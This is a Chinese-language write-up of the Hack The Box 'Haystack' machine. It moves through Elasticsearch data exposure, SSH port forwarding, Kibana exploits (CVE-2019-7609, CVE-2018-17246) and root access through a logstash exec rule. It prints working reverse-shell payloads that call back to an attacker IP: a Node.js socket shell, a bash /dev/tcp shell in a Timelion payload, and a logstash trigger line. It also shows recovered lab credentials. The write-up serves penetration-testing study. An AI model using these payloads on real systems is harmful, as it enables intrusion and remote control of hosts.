Haystack-Writeup

公众号关注的人少,看的人也少… 没啥分享的动力了。
加上近期要备考OSCP和软考,应该不会这么频繁逐一将解题过程整理成文章发公众号了。主要是麻烦~
还是立一个Flag吧,哪位同学是第500个关注我的,我就送一个t00ls邀请码…

概述 (Overview)

83332444.png

时间: 2021-07-16
HOST:10.10.10.115
机器作者: JoyDragon
困难程度: easy
描述: 考察信息挖掘的能力,以及对ELK风险利用
Flags:User: <md5>, Root: <md5>
MACHINE TAGS:

  • Web
  • JSON
  • LFI
  • API Fuzzing

攻击链 (Kiillchain)

通过 nmap 对目标服务器进行开发端口扫描,识别两个端口运行着http服务。在首页的图片内容中提取到隐写内容,测试发现9200端口上运行的 ElasticSearch 存在未授权访问,并结合图片获取的关键字"clave",筛选出含 base64 的信息,使用解出的信息成功登录目标服务器取得立足点。
通过查看端口暴露信息发现存在一个本地监听5601端口,识别出事Kibana服务的Web管理页面,使用ssh进行本地端口转发。测试后发现存在 CVE-2018-17246 漏洞,利用该漏洞成功实现账号的横向移动。
利用 linpeas 对目标服务器进行深度信息收集,发现 logstash 已root身份运行。查看相关配置文件发现存在命令执行,构造exploit后成功获得root会话。

枚举(Enumeration)

老规矩,开局还是使用 nmap 对目标系统进行开放端口扫描:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: 502 Bad Gateway

结果中发现 80、9200 端口上均运行HTTP服务,使用浏览器查看页面只显示了一张图片:

51092483.png

将图片下载下来,strings 命令获取下图片中的字符串,发现存在一段 base64 内容:
54540704.png

echo "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d la aguja en el pajar es "clave"

翻译后发现是西班牙语,没太看懂作者想表达的意思。查看 9200 端口上的服务,从显示的JSON信息中可以得知这是 ElasticSearch:

51579860.png

立足点(Foothold)

ElasticSearch是一个分布式的搜索引擎,Elasticsearch的增删改查操作全部由http接口完成。默认情况下Elasticsearch的http端口存在未授权访问漏洞。该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。

通过了解,有如下接口可以进行利用用于回去存储数据:

http://localhost:9200/_cat/indices?v 查看索引信息,v参数将会显示详情 http://localhost:9200/_plugin/head/ web管理界面 http://localhost:9200/_river/_search 查看数据库敏感信息 http://localhost:9200/_nodes 查看节点数据

查看目标服务器上的 /_cat/indices?v 会发现存在三个索引,通过 docs.count(索引下的文档总数) 判断均是有存储了数据:

59058061.png

通过 /<索引名>/_search 分别查看 bankquotes 的数据,配合查询JSON数据进行POST请求:

POST /bank/_search {"query": {"match_all": {}}}

查看返回结果,我们可以查看到 bank 的索引里 1000 条数据,quotes 里的 253 条数据:

59193663.png

获取的数据较多,且都是一些保护邮件及地址的数据,一条条看显然不现实所以要进行赛选。最终是通过上面图片里解出来的 clave ,检索出我们需要的信息:

$ cat all.json|http POST http://10.10.10.115:9200/quotes/_search?size=300 | jq | grep -i clave "quote": "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=" "quote": "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg " $ echo "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d pass: spanish.is.key $ echo "dXNlcjogc2VjdXJpdHkg" | base64 -d user: security

得到一组账号密码,使用 crackmapexec 测试该账号能ssh登录目标服务器:

59826021.png

成功或到 user flag

横向移动(Lateral Movement)

通过 ss 查看端口开放情况,发现本地监听着一个 5601 的端口。

60248699.png

通过搜索了解到,5601 端口一般是 Kibana 的默认Web 端口。而 Kibana 又是 ELK (Elasticsearch, Logstash, Kibana) 架构中的一环。

知道是运行着一个Web服务,那么我们可以通过ssh的端口转发,将本地端口转发到其他端口。利用已经获取到了ssh登录账号密码进行本地端口转发:$ ssh security@10.10.10.115 -L 5602:localhost:5601,或者上传其他工具实现转发也是可以的。

上面的是本地转发方式,如果是远程转发的场景则是将命令返过来写。

-L 本地网卡地址:本地端口:目标地址:目标端口。通过本地端口转发,将远程访问的5602的请求,转发到本地监听的5601端口。完整一点可以设置-NLf参数,其中 N 表示不为这个连接分配 TTY,N 表示不打开远程 Shell,如果想要后台运行,可以加 -f 参数。

68937638.png

浏览器中浏览 127.0.0.1:5602,成功查看到运行的 Kibana Web管理端。在 management 页面中,通过显示的内容确认版本 Version: 6.4.2,随后搜索到 CVE-2019-7609 漏洞,并验证。

https://github.com/mpgn/CVE-2019-7609
5.6.15 和 6.6.1 之前的 Kibana 版本在 Timelion 可视化器中包含任意代码执行缺陷。有权访问 Timelion 应用程序的攻击者可以发送尝试执行 javascript 代码的请求。这可能会导致攻击者在主机系统上使用 Kibana 进程的权限执行任意命令。
演示视频:https://research.securitum.com/wp-content/uploads/sites/2/2019/10/ScreenFlow.mp4

构造命令执行exploit:

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.10.16.15/990 0>&1\'");//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

尝试后发现好像没有实例中出现的 Canvas 插件,这样就缺少了触发反弹shell的前缀。

随后又找到了可能存在 Kibana Local File Inclusion (CVE-2018-17246) 缺陷:https://github.com/mpgn/CVE-2018-17246,影响版本: Kibana LFI < 6.4.3 & 5.6.13

(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(9900, "10.10.16.15", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();

成功利用本地文件包含实现了shell的横移:

73043918.png

权限提升(Privilege Escalation)

使用 linpeas 对目标服务进行深度信息挖掘时,发现 logstash 当前是已 root 身份运行的:

74213938.png
搜索一下 logstash 命令的绝对路径:
75237454.png

通过搜索了解到 /etc/logstash/conf.d/ 目录存储的是 logstash 的配置文件:

bash-4.2$ ls /etc/logstash/conf.d/ filter.conf input.conf output.conf bash-4.2$ cat /etc/logstash/conf.d/filter.conf filter { if [type] == "execute" { grok { match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" } } } } bash-4.2$ cat /etc/logstash/conf.d/input.conf input { file { path => "/opt/kibana/logstash_*" start_position => "beginning" sincedb_path => "/dev/null" stat_interval => "10 second" type => "execute" mode => "read" } } bash-4.2$ cat /etc/logstash/conf.d/output.conf output { if [type] == "execute" { stdout { codec => json } exec { command => "%{comando} &" } } }

logstash配置文件包含三个配置部分,输入(input),过滤(filter),输出(output)相关规则,对数据收集转发。

所以简单学习了下配置文件的编写: https://blog.csdn.net/len9596/article/details/82887904

77865145.png

结合目标服务器上的配置文件内容,串起来的意思是每隔10秒查找 /opt/kibana/logstash_* 的文件,并声明它的类型是execute,然后 filter 对类型是 execute 的数据进行处理,取符合正则表达式的内容,最后 output 通过 exec 执行取到到的正则内容。

尝试写一个 logstash_0x584a 文件,内容为:Ejecutar comando: bash -c "/bin/bash -i >& /dev/tcp/10.10.16.15/9900 0>&1",kali上开启监听等待反弹shell:
83219989.png

成功获取 root flag

复盘

  1. 在 IPPSEC 那有学到一个技巧,当目标服务器中 netstatss 命令都没有的场景下,查看端口开放使用 cat /proc/net/tcp | grep '00000000:0000 0A',显示的列表为 IP/port 的 hex 内容。
    53239292.png
  2. 在 /bin/bash 下,多按几次回车让后键盘按下 ~C 将进入 ssh> 模式,可以输入端口转发命令,如:ssh> -L 5601:localhost:5601

54389575.png

参考

  • https://blog.csdn.net/len9596/article/details/82887904
  • https://blog.csdn.net/weixin_38011805/article/details/114371567?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.control&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-1.control
  • https://www.cnblogs.com/duanxz/p/6527439.html


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。